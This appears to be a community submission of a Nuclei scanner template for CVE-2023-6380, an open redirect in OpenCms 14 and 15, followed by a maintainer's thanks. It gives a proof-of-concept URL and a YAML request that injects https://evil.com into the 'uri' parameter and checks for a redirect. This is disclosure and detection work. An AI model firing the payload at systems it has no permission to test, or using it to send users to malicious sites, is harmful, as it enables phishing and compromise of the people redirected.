CVE-2023-6380

[msegoviag]

Template Information:

Open redirect vulnerability has been found in the Open CMS product affecting versions 14 and 15 of the 'Mercury' template. An attacker could create a specially crafted URL and send it to a specific user to redirect them to a malicious site and compromise them. Exploitation of this vulnerability is possible due to the fact that there is no proper sanitization of the 'URI' parameter.

POC

https://target.com/system/modules/alkacon.mercury.template.jsondemo/elements/jsonapi.jsp?content&fallbackLocale&locale=en&rows=1&uri=[URL_TO_REDIRECT]

References

https://www.incibe.es/en/incibe-cert/notices/aviso/multiple-vulnerabilities-alkacon-software-opencms

Nuclei Template:

id: CVE-2023-6380

info:
  name: OpenCms 14 & 15 - Open Redirect
  author: MiguelSegoviaGil
  severity: medium
  description: Open redirect vulnerability has been found in the Open CMS product affecting versions 14 and 15 of the 'Mercury' template
  tags: cve,cve2023,redirect
  reference: https://www.incibe.es/en/incibe-cert/notices/aviso/multiple-vulnerabilities-alkacon-software-opencms
  classification:
    cvss-metrics: CVSS:AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-6380
    cwe-id: CWE-601

requests:
  - method: GET
    path:
      - "{{BaseURL}}/system/modules/alkacon.mercury.template.jsondemo/elements/jsonapi.jsp?content&fallbackLocale&locale=en&rows=1&uri={{redirect}}"

    payloads:
      redirect:
        - https://evil.com

    matchers:
      - type: status
        status:
          - 301
          - 302
      - type: word
        words:
          - "www.evil.com"

[pussycat0x]

Hi @msegoviag Thank you for sharing this template with the community and for your contribution to this project. Your efforts are greatly appreciated. Cheers!